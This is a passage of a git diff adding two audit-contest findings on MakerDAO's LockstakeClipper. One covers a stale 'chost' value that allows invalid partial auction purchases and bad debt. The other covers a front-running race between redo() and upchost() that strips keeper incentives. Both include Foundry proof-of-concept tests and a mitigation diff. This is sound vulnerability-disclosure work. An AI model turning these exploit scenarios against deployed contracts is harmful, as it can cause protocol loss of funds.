take the entire lot. + require(tab > _chost, "LockstakeClipper/no-partial-purchase"); + // Adjust amount to pay + owe = tab - _chost; // owe' <= owe + // Adjust slice + slice = owe / price; // slice' = owe' / price < owe / price == slice < lot + } + } + ++ uint256 actualPrice = owe/slice; ++ require(max >= actualPrice, "LockstakeClipper/too-expensive"); + + // Calculate remaining tab after operation + tab = tab - owe; // safe since owe <= tab + // Calculate remaining lot after operation + lot = lot - slice; + + // Send collateral to who + vat.slip(ilk, address(this), -int256(slice)); + engine.onTake(usr, who, slice); + + // Do external call (if data is defined) but to be + // extremely careful we don't allow to do it to the three + // contracts which the LockstakeClipper needs to be authorized + DogLike dog_ = dog; + if (data.length > 0 && who != address(vat) && who != address(dog_) && who != address(engine)) { + ClipperCallee(who).clipperCall(msg.sender, owe, slice, data); + } + + // Get DAI from caller + vat.move(msg.sender, vow, owe); + + // Removes Dai out for liquidation from accumulator + dog_.digs(ilk, lot == 0 ? tab + owe : owe); + } + + if (lot == 0) { + uint256 tot = sales[id].tot; + engine.onRemove(usr, tot, 0); + _remove(id); + } else if (tab == 0) { + uint256 tot = sales[id].tot; + vat.slip(ilk, address(this), -int256(lot)); + engine.onRemove(usr, tot - lot, lot); + _remove(id); + } else { + sales[id].tab = tab; + sales[id].lot = lot; + } + + emit Take(id, max, price, owe, tab, lot, usr); + } + +``` + diff --git a/005/060.md b/005/060.md new file mode 100644 index 0000000..d64800b --- /dev/null +++ b/005/060.md @@ -0,0 +1,555 @@ +Unique Pistachio Chipmunk + +Medium + +# LockstakeClipper.take() might use a stale value of chost and allows an invalid partial purchase, leaving a debt that can potentially not be able to cover, loss of funds for the protocol. + +### Summary + +```LockstakeClipper.take()``` might use a stale value of ```chost``` and allows an invalid partial purchase, leaving a debt that can potentially not be able to cover, loss of funds for the protocol. + +If ```lot < 20 chost```, then the loss of funds might be > 5%. For smaller lot, the lost can be more. Besides, this can occur each time ```chost``` is updated. Therefore, I mark this finding as ```medium```. + + + +### Root Cause + +```LockstakeClipper.take()``` fails to call upchost() to bring ```chost``` up to date, therefore it might use a stale value of ```chost```. As a result, invalid partial purchase is possible - purchase that leaves remaining debt that is greater than the old ```chost``` but smaller than the new ```chost```. + +### Internal pre-conditions + +First of all, ```chost``` is mutable, if either ```_dust``` or ```dog.chop(ilk)``` has changed, then ```chost``` will change. This is why the function ```upchost()``` was designed to bring ```chost``` up to date. + +An internal precodition is that either ```_dust``` or ```dog.chop(ilk)``` is increased, but uphost() is not called to bring ```chost``` up to date. In other words, the actual ```chost``` has increased, but the ```chost``` variable in ```LockstakeClipper``` is stale and has a smaller value than the actual chost value. + +### External pre-conditions + +A user makes a partial purchase of the auction, which should not be allowed if ```chost``` was brought up to date, but is allowed with the stale value of ```chost```. As a result, not-supposed-to-happen debt might never be covered, leading to a loss to the protocol. + +### Attack Path + +Suppose we have + chost = 1,000 RAD (initial value) + Ongoing auction: + tab = 2,000 RAD + lot = 10 WAD (collateral to sell) + price = 200 RAD per WAD of collateral + +Now ```_dust``` is doubled, as a result, the actual ```chost``` should be updated to 2,000 RAD. However, ```upchost()``` is not called. The state variable ```chost``` remains 1,000 RAD. + +Suppose Alice takes a bid with 5 WAD to raise 1,000 RAD, leaving a remaining ```tab``` of 1,000 RAD. This is allowed since the remaining ```tab``` is equal to the stale ```chost```. If ```chost``` had been updated, then Alice had to buy the whole thing, and would have left no remaining debt to cover. + +Now the remaining 1,000 RAD debt is very likely hard to cover due to two reasons: 1) the price will decrease as the auction proceeds; 2) nobody will be incentivized to reset the auction since there is no incentive when ```tab < _chost``` (see [redo()](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L275-L313)). The auction might be stuck until authorized intervention. In any case, the protocol will lose funds as a result of allowing invalid partial purchase. + + + +### Impact + +```LockstakeClipper.take()``` fails to call upchost() to bring ```chost``` up to date, therefore it might use a stale value of ```chost```. As a result, invalid partial purchase is possible - purchase that leaves remaining debt that is greater than the old ```chost``` but smaller than the new ```chost```. This debt might become a bad debt and causes loss to the protocol. + +### PoC + +In the following, an auction is set up as follows: + +*************************************************************** + sale.pos: 0 + sale.tab: 20000000000000000000000000000000000000000000000 + sale.lot: 2000000000000000000000 + sale.tot: 2000000000000000000000 + sale.usr: 0x1a38b0201C9B6acBfadAD17af8d1062F63285413 + sale.tic: 604411200 + sale.top: 5000000000000000000000000000 +*************************************************************** + +The stale chost is: 10000000000000000000000000000000000000000000000 + +Although _dust is doubled, so the actual chost should be: 20000000000000000000000000000000000000000000000, since ```clip.upchost()``` is not called inside take(). Ali calls clip.take() to take an invalid partial purchase with the stale chost value. Ali might have to buy the whole debt if ```chost`` has been brought up to date. + + vm.prank(ali); + clip.take({ + id: 1, + amt: 2 ether, + max: 5000000000000000000000000000, + who: address(ali), // sli is the keeper + data: "" + }); + +leaving the following auction: + +*************************************************************** + sale.pos: 0 + sale.tab: 10000000000000000000000000000000000000000000000 + sale.lot: 1998000000000000000000 + sale.tot: 2000000000000000000000 + sale.usr: 0x1a38b0201C9B6acBfadAD17af8d1062F63285413 + sale.tic: 604411200 + sale.top: 5000000000000000000000000000 + *************************************************************** + +with a tab < the actual chost of 20000000000000000000000000000000000000000000000 + +Now suppose clip.upchost() is called, and now ```chost``` is updated to: 20000000000000000000000000000000000000000000000. + +The remaining debt might not be covered due to the decrease of price or no incentive for reset of the auction. The debt might become a bad debt and become a loss of the protocol. + +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import "dss-interfaces/Interfaces.sol"; +import { LockstakeClipper } from "src/LockstakeClipper.sol"; +import { LockstakeEngineMock } from "test/mocks/LockstakeEngineMock.sol"; +import { PipMock } from "test/mocks/PipMock.sol"; + +import { LockstakeEngine } from "src/LockstakeEngine.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; +import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; +import { NstMock } from "test/mocks/NstMock.sol"; +import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; +import { LockstakeMkr } from "src/LockstakeMkr.sol"; +import { GemMock } from "test/mocks/GemMock.sol"; + + +interface VatLike { + function dai(address) external view returns (uint256); + function sin(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); +} + +interface VowLike { + function flap() external returns (uint256); + function Sin() external view returns (uint256); + function Ash() external view returns (uint256); + function heal(uint256) external; + function bump() external view returns (uint256); + function hump() external view returns (uint256); +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + PipMock pip; + GemLike dai; + VowLike vow; + VatLike vat; + + DSTokenAbstract mkr; + VoteDelegateFactoryMock voteDelegateFactory; + NstMock nst; + MkrNgtMock mkrNgt; + LockstakeMkr lsMkr; + NstJoinMock nstJoin; + GemMock ngt; + + LockstakeEngine engine; + LockstakeClipper clip; + LockstakeMkr lsmkr; + + + // Exchange exchange; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + + bytes32 constant ilk = "LSE"; + + + uint256 constant startTime = 604411200; // Used to avoid issues with `block.timestamp` + + function _ink(bytes32 ilk_, address urn_) internal view returns (uint256) { + (uint256 ink_,) = dss.vat.urns(ilk_, urn_); + return ink_; + } + function _art(bytes32 ilk_, address urn_) internal view returns (uint256) { + (,uint256 art_) = dss.vat.urns(ilk_, urn_); + return art_; + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + vow = VowLike(dss.chainlog.getAddress("MCD_VOW")); + vat = VatLike(dss.chainlog.getAddress("MCD_VAT")); + + + mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV")); + voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + nst = new NstMock(); + nstJoin = new NstJoinMock(address(vat), address(nst)); + ngt = new GemMock(0); + mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000); + lsmkr = new LockstakeMkr(); + + + + + + + + vm.startPrank(pauseProxy); + dss.vat.init(ilk); // init the collateral info identified by ```ilk``` + dss.vat.fold(ilk, address(dss.vow), 1*10**27); // set initial rate for ilk + +/* + function poke(bytes32 ilk) external { + (bytes32 val, bool has) = ilks[ilk].pip.peek(); + uint256 spot = has ? rdiv(rdiv(mul(uint(val), 10 ** 9), par), ilks[ilk].mat) : 0; par = 1 RAY, + vat.file(ilk, "spot", spot); + emit Poke(ilk, val, spot); + } +*/ + // set spot price for ilk via set price for pip price + + console2.log("set spot price $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + pip = new PipMock(); + pip.setPrice(4 ether); + dss.spotter.file(ilk, "pip", address(pip)); // oracle + dss.spotter.file(ilk, "mat", ray(2 ether)); // 200% liquidation ratio for easier test calcs + dss.spotter.poke(ilk); + (,, uint256 spot1,,) = dss.vat.ilks(ilk); // so spot price = poke price / 2 + console2.log("spot price: ", spot1); // 4 ether * 10 ** 9 + + + dss.vat.file(ilk, "dust", rad(10 ether)); + dss.vat.file(ilk, "line", rad(1000000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(1000000 ether)); + + + dss.dog.file(ilk, "chop", 1 ether); // no chop let's say + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + // engine = new LockstakeEngineMock(address(dss.vat), ilk); // let's use a real one ????? + + engine = new LockstakeEngine(address(voteDelegateFactory), address(nstJoin), ilk, address(mkrNgt), address(lsmkr), 15 * WAD / 100); + engine.file("jug", address(dss.jug)); + dss.jug.init(ilk); + dss.jug.file(ilk, "duty", 100000001 * 10**27 / 100000000); // decides rate + + dss.vat.rely(address(engine)); + vm.stopPrank(); + + lsmkr.rely(address(engine)); + + + address calc = CalcFabLike(dss.chainlog.getAddress("CALC_FAB")).newStairstepExponentialDecrease(address(this)); + CalcLike(calc).file("cut", RAY - ray(0.01 ether)); // 1% decrease + CalcLike(calc).file("step", 1); // Decrease every 1 second + + // dust and chop filed previously so clip.chost will be set correctly + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + clip.file("vow", address(vow)); + clip.file("buf", ray(1.25 ether)); // 25% Initial price buffer + clip.file("calc", address(calc)); // File price contract + clip.file("cusp", ray(0.3 ether)); // 70% drop before reset + clip.file("tail", 3600); + clip.file("tip", rad(100 ether)); // Flat fee of 100 DAI + clip.file("chip", 0.02 ether); // Linear increase of 2% of tab + clip.upchost(); // what does it do? // dust: 20 ether * 10**27, chop: 1.1 ether = chost = 22 ether * 10**27 + console.log("chost: ", clip.chost()); + + clip.rely(address(dss.dog)); + + vm.startPrank(pauseProxy); + engine.rely(address(clip)); + vm.stopPrank(); + + vm.startPrank(pauseProxy); + dss.dog.file(ilk, "clip", address(clip)); // + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + vm.stopPrank(); + + ali = address(111); + + dss.vat.hope(address(clip)); // can[address(this), clip] = 1 + vm.prank(ali); dss.vat.hope(address(clip)); // can[ali, clip] = 1 + + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(ali), rad(1000 ether)); + vm.stopPrank(); + } + + function printAuction(uint id) public + { + LockstakeClipper.Sale memory sale; + + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(id); + console2.log("\n***************************************************************"); + console2.log("sale.pos: ", sale.pos); + console2.log("sale.tab: ", sale.tab); + console2.log("sale.lot: ", sale.lot); + console2.log("sale.tot: ", sale.tot); + console2.log("sale.usr:", sale.usr); + console2.log("sale.tic: ", sale.tic); + console2.log("sale.top: ", sale.top); + console2.log("***************************************************************\n"); + } + + + function printBalance(address a, string memory name) public{ + console2.log("**************************************************"); + console2.log("Vat info for ", name); + console2.log("mkr bal: ", mkr.balanceOf(a)); + console2.log("nst bal: ", nst.balanceOf(a)); + console2.log("vat.dai: ", dss.vat.dai(a)); + console2.log("vat.sin: ", dss.vat.sin(a)); + console2.log("vat.gem(ilk, a): ", dss.vat.gem(ilk, a)); + (uint256 ink, uint256 art) = dss.vat.urns(ilk, a); + console2.log("ink: ", ink); + console2.log("art: ", art); + console2.log("**************************************************"); + } + + + +/* lead 1: +*/ + + function testTake1() public { + console2.log("jug", address(dss.jug)); + + address Bob = address(123); + address kpr = address(456); + + + deal(address(mkr), Bob, 100_000 * 10**18); // 100_000 ether + deal(address(nst), Bob, 123_000 * 10**18); + deal(address(ngt), Bob, 100_000 * 24_000 * 10**18); + + //printBalance(Bob, "Bob"); + //printBalance(address(engine), "engine"); + + vm.startPrank(Bob); // 1. open a urn + address urn = engine.open(0); + mkr.approve(address(engine), 100_000 * 10**18); + engine.lock(urn, 2000 * 10**18, 0); + //printBalance(address(urn), "urn"); + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + engine.draw(urn, address(Bob), 20 ether); + vm.stopPrank(); + + console2.log("\n after draw....................."); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + + // lower the price of collaterl: + vm.startPrank(pauseProxy); + vat.file(ilk, "spot", 123); + vm.stopPrank(); // now we can liquidate urn + + console2.log("\n starto bark$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + + assertEq(clip.kicks(), 0); + dss.dog.bark(ilk, urn, kpr); + assertEq(clip.kicks(), 1); + console2.log("\n after barking.............."); + printAuction(1); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(clip), "clip"); // where is mkr and lsmkr? + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + + + + + // Bid so owe (= 25 * 5 = 125 RAD) > tab (= 110 RAD) + // Readjusts slice to be tab/top = 25 + vm.startPrank(pauseProxy); + dss.vat.file(ilk, "dust", rad(20 ether)); // so the actual chost should be douled + vm.stopPrank(); + + vm.prank(ali); + clip.take({ + id: 1, + amt: 2 ether, + max: 5000000000000000000000000000, + who: address(ali), // sli is the keeper + data: "" + }); + + console2.log("After clip.take...."); + clip.upchost(); + console2.log("The actual chost: ", clip.chost()); + + printAuction(1); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(clip), "clip"); // where is mkr and lsmkr? + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + + } + +} +``` + + + + +### Mitigation + +Call ```upchost``` in the beginning of take(): + +```diff + function take( + uint256 id, // Auction id + uint256 amt, // Upper limit on amount of collateral to buy [wad] + uint256 max, // Maximum acceptable price (DAI / collateral) [ray] + address who, // Receiver of collateral and external call address + bytes calldata data // Data to pass in external call; if length 0, no call is done + ) external lock isStopped(3) { + ++ upchost(); + address usr = sales[id].usr; + uint96 tic = sales[id].tic; + + require(usr != address(0), "LockstakeClipper/not-running-auction"); + + uint256 price; + { + bool done; + (done, price) = status(tic, sales[id].top); + + // Check that auction doesn't need reset + require(!done, "LockstakeClipper/needs-reset"); + } + + // Ensure price is acceptable to buyer + require(max >= price, "LockstakeClipper/too-expensive"); + + uint256 lot = sales[id].lot; + uint256 tab = sales[id].tab; + uint256 owe; + + { + // Purchase as much as possible, up to amt + uint256 slice = min(lot, amt); // slice <= lot + + // DAI needed to buy a slice of this sale + owe = slice * price; + + // Don't collect more than tab of DAI + if (owe > tab) { + // Total debt will be paid + owe = tab; // owe' <= owe + // Adjust slice + slice = owe / price; // slice' = owe' / price <= owe / price == slice <= lot + } else if (owe < tab && slice < lot) { + // If slice == lot => auction completed => dust doesn't matter + uint256 _chost = chost; + if (tab - owe < _chost) { // safe as owe < tab + // If tab <= chost, buyers have to take the entire lot. + require(tab > _chost, "LockstakeClipper/no-partial-purchase"); + // Adjust amount to pay + owe = tab - _chost; // owe' <= owe + // Adjust slice + slice = owe / price; // slice' = owe' / price < owe / price == slice < lot + } + } + + // Calculate remaining tab after operation + tab = tab - owe; // safe since owe <= tab + // Calculate remaining lot after operation + lot = lot - slice; + + // Send collateral to who + vat.slip(ilk, address(this), -int256(slice)); + engine.onTake(usr, who, slice); + + // Do external call (if data is defined) but to be + // extremely careful we don't allow to do it to the three + // contracts which the LockstakeClipper needs to be authorized + DogLike dog_ = dog; + if (data.length > 0 && who != address(vat) && who != address(dog_) && who != address(engine)) { + ClipperCallee(who).clipperCall(msg.sender, owe, slice, data); + } + + // Get DAI from caller + vat.move(msg.sender, vow, owe); + + // Removes Dai out for liquidation from accumulator + dog_.digs(ilk, lot == 0 ? tab + owe : owe); + } + + if (lot == 0) { + uint256 tot = sales[id].tot; + engine.onRemove(usr, tot, 0); + _remove(id); + } else if (tab == 0) { + uint256 tot = sales[id].tot; + vat.slip(ilk, address(this), -int256(lot)); + engine.onRemove(usr, tot - lot, lot); + _remove(id); + } else { + sales[id].tab = tab; + sales[id].lot = lot; + } + + emit Take(id, max, price, owe, tab, lot, usr); + } +``` \ No newline at end of file diff --git a/005/061.md b/005/061.md new file mode 100644 index 0000000..fb1bc4a --- /dev/null +++ b/005/061.md @@ -0,0 +1,436 @@ +Unique Pistachio Chipmunk + +Medium + +# The race condition between LockstakeClipper.redo() and LockstakeClipper.upchost() might lead to the loss of incentives and the cost of gas fee for a keeper. + +### Summary + +The race condition between LockstakeClipper.redo() and LockstakeClipper.upchost() might lead to the loss of incentives and the cost of gas fee for a keeper. Both functions access ```chost``` and the calculation of incentive is based on ```chost```. + +The keeper will lose all 100% incentives and gas fee, thus I mark this as ```medium```. + +### Root Cause + + LockstakeClipper.redo() will use ```chost``` to calculate the incentive for a keeper. In particular, if the remaiing debt ```tab``` is less than ```chost```, then there is no incentive at all. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L275-L313](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L275-L313) + +Meanwhile, ```upchost``` will update the value of ```chost```. + +Therefore, there is a race condition between these two functions. + +It is possible that a keeper observes an old value of ```chost``` and then proceed with the redo function, but this transaction is frontruned by ```upchost``` that increases the value of ```chost```. As a result, the keeper ends up receiving no incentive and waste of his gas, which can not be ignored on a blockchain such as ethererium. + + + +### Internal pre-conditions + +The remaining debt ```tab``` is smaller than the new ```chost``` value. + +### External pre-conditions + +Either ```_dust``` or dog.chop(ilk) increases such that the remaining debt ```tab``` is smaller than the new ```chost``` value. + +### Attack Path + +In the following POC, we have an ongoing auction after the bidding by Ali: + +sale.pos: 0 + sale.tab: 10000000000000000000000000000000000000000000000 + sale.lot: 1998000000000000000000 + sale.tot: 2000000000000000000000 + sale.usr: 0x1a38b0201C9B6acBfadAD17af8d1062F63285413 + sale.tic: 604411200 + sale.top: 5000000000000000000000000000 + +The old chost is: 10000000000000000000000000000000000000000000000 +Frank tries to redo the auction after it is up to reset (time elapsed), expecting to receive this amount of incentive based on what he observes as the od chost: vat.dai: 100200000000000000000000000000000000000000000000 + +Suppose another transaction upchost() frontruns Frank's transaction and updates chost to: 20000000000000000000000000000000000000000000000 + +Now when Frank's transaction proceeds with the new ```chost```, he will receive zero incentive since the remaing ```tab``` < ```chost```. Frank will only waste of his gas fee, which might be expensive on Ethereum. Such gas fee could have been compensated if there is an incentive. + + + +### Impact + +The race condition between LockstakeClipper.redo() and LockstakeClipper.upchost() might lead to the loss of incentives and the cost of gas fee for a keeper. + +### PoC + +Please comment/uncomment this line ```clip.upchost()``` in the code to simulate race condition. Uncommenting means the front-running scenario, which leads to no incentive. + + +please run ```forge test --match-test testTake1 -vv```. + +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import "dss-interfaces/Interfaces.sol"; +import { LockstakeClipper } from "src/LockstakeClipper.sol"; +import { LockstakeEngineMock } from "test/mocks/LockstakeEngineMock.sol"; +import { PipMock } from "test/mocks/PipMock.sol"; + +import { LockstakeEngine } from "src/LockstakeEngine.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; +import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; +import { NstMock } from "test/mocks/NstMock.sol"; +import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; +import { LockstakeMkr } from "src/LockstakeMkr.sol"; +import { GemMock } from "test/mocks/GemMock.sol"; + + +interface VatLike { + function dai(address) external view returns (uint256); + function sin(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); +} + +interface VowLike { + function flap() external returns (uint256); + function Sin() external view returns (uint256); + function Ash() external view returns (uint256); + function heal(uint256) external; + function bump() external view returns (uint256); + function hump() external view returns (uint256); +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + PipMock pip; + GemLike dai; + VowLike vow; + VatLike vat; + + DSTokenAbstract mkr; + VoteDelegateFactoryMock voteDelegateFactory; + NstMock nst; + MkrNgtMock mkrNgt; + LockstakeMkr lsMkr; + NstJoinMock nstJoin; + GemMock ngt; + + LockstakeEngine engine; + LockstakeClipper clip; + LockstakeMkr lsmkr; + + + // Exchange exchange; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + + bytes32 constant ilk = "LSE"; + + + uint256 constant startTime = 604411200; // Used to avoid issues with `block.timestamp` + + function _ink(bytes32 ilk_, address urn_) internal view returns (uint256) { + (uint256 ink_,) = dss.vat.urns(ilk_, urn_); + return ink_; + } + function _art(bytes32 ilk_, address urn_) internal view returns (uint256) { + (,uint256 art_) = dss.vat.urns(ilk_, urn_); + return art_; + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + vow = VowLike(dss.chainlog.getAddress("MCD_VOW")); + vat = VatLike(dss.chainlog.getAddress("MCD_VAT")); + + + mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV")); + voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + nst = new NstMock(); + nstJoin = new NstJoinMock(address(vat), address(nst)); + ngt = new GemMock(0); + mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000); + lsmkr = new LockstakeMkr(); + + + + + + + + vm.startPrank(pauseProxy); + dss.vat.init(ilk); // init the collateral info identified by ```ilk``` + dss.vat.fold(ilk, address(dss.vow), 1*10**27); // set initial rate for ilk + +/* + function poke(bytes32 ilk) external { + (bytes32 val, bool has) = ilks[ilk].pip.peek(); + uint256 spot = has ? rdiv(rdiv(mul(uint(val), 10 ** 9), par), ilks[ilk].mat) : 0; par = 1 RAY, + vat.file(ilk, "spot", spot); + emit Poke(ilk, val, spot); + } +*/ + // set spot price for ilk via set price for pip price + + console2.log("set spot price $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + pip = new PipMock(); + pip.setPrice(4 ether); + dss.spotter.file(ilk, "pip", address(pip)); // oracle + dss.spotter.file(ilk, "mat", ray(2 ether)); // 200% liquidation ratio for easier test calcs + dss.spotter.poke(ilk); + (,, uint256 spot1,,) = dss.vat.ilks(ilk); // so spot price = poke price / 2 + console2.log("spot price: ", spot1); // 4 ether * 10 ** 9 + + + dss.vat.file(ilk, "dust", rad(10 ether)); + dss.vat.file(ilk, "line", rad(1000000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(1000000 ether)); + + + dss.dog.file(ilk, "chop", 1 ether); // no chop let's say + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + // engine = new LockstakeEngineMock(address(dss.vat), ilk); // let's use a real one ????? + + engine = new LockstakeEngine(address(voteDelegateFactory), address(nstJoin), ilk, address(mkrNgt), address(lsmkr), 15 * WAD / 100); + engine.file("jug", address(dss.jug)); + dss.jug.init(ilk); + dss.jug.file(ilk, "duty", 100000001 * 10**27 / 100000000); // decides rate + + dss.vat.rely(address(engine)); + vm.stopPrank(); + + lsmkr.rely(address(engine)); + + + address calc = CalcFabLike(dss.chainlog.getAddress("CALC_FAB")).newStairstepExponentialDecrease(address(this)); + CalcLike(calc).file("cut", RAY - ray(0.01 ether)); // 1% decrease + CalcLike(calc).file("step", 1); // Decrease every 1 second + + // dust and chop filed previously so clip.chost will be set correctly + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + clip.file("vow", address(vow)); + clip.file("buf", ray(1.25 ether)); // 25% Initial price buffer + clip.file("calc", address(calc)); // File price contract + clip.file("cusp", ray(0.3 ether)); // 70% drop before reset + clip.file("tail", 3600); + clip.file("tip", rad(100 ether)); // Flat fee of 100 DAI + clip.file("chip", 0.02 ether); // Linear increase of 2% of tab + clip.upchost(); // what does it do? // dust: 20 ether * 10**27, chop: 1.1 ether = chost = 22 ether * 10**27 + console.log("chost: ", clip.chost()); + + clip.rely(address(dss.dog)); + + vm.startPrank(pauseProxy); + engine.rely(address(clip)); + vm.stopPrank(); + + vm.startPrank(pauseProxy); + dss.dog.file(ilk, "clip", address(clip)); // + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + vm.stopPrank(); + + ali = address(111); + + dss.vat.hope(address(clip)); // can[address(this), clip] = 1 + vm.prank(ali); dss.vat.hope(address(clip)); // can[ali, clip] = 1 + + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(ali), rad(1000 ether)); + vm.stopPrank(); + } + + function printAuction(uint id) public + { + LockstakeClipper.Sale memory sale; + + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(id); + console2.log("\n***************************************************************"); + console2.log("sale.pos: ", sale.pos); + console2.log("sale.tab: ", sale.tab); + console2.log("sale.lot: ", sale.lot); + console2.log("sale.tot: ", sale.tot); + console2.log("sale.usr:", sale.usr); + console2.log("sale.tic: ", sale.tic); + console2.log("sale.top: ", sale.top); + console2.log("***************************************************************\n"); + } + + + function printBalance(address a, string memory name) public{ + console2.log("**************************************************"); + console2.log("Vat info for ", name); + console2.log("mkr bal: ", mkr.balanceOf(a)); + console2.log("nst bal: ", nst.balanceOf(a)); + console2.log("vat.dai: ", dss.vat.dai(a)); + console2.log("vat.sin: ", dss.vat.sin(a)); + console2.log("vat.gem(ilk, a): ", dss.vat.gem(ilk, a)); + (uint256 ink, uint256 art) = dss.vat.urns(ilk, a); + console2.log("ink: ", ink); + console2.log("art: ", art); + console2.log("**************************************************"); + } + + + +/* lead 1: +*/ + + function testTake1() public { + console2.log("jug", address(dss.jug)); + + address Bob = address(123); + address kpr = address(456); + + + deal(address(mkr), Bob, 100_000 * 10**18); // 100_000 ether + deal(address(nst), Bob, 123_000 * 10**18); + deal(address(ngt), Bob, 100_000 * 24_000 * 10**18); + + //printBalance(Bob, "Bob"); + //printBalance(address(engine), "engine"); + + vm.startPrank(Bob); // 1. 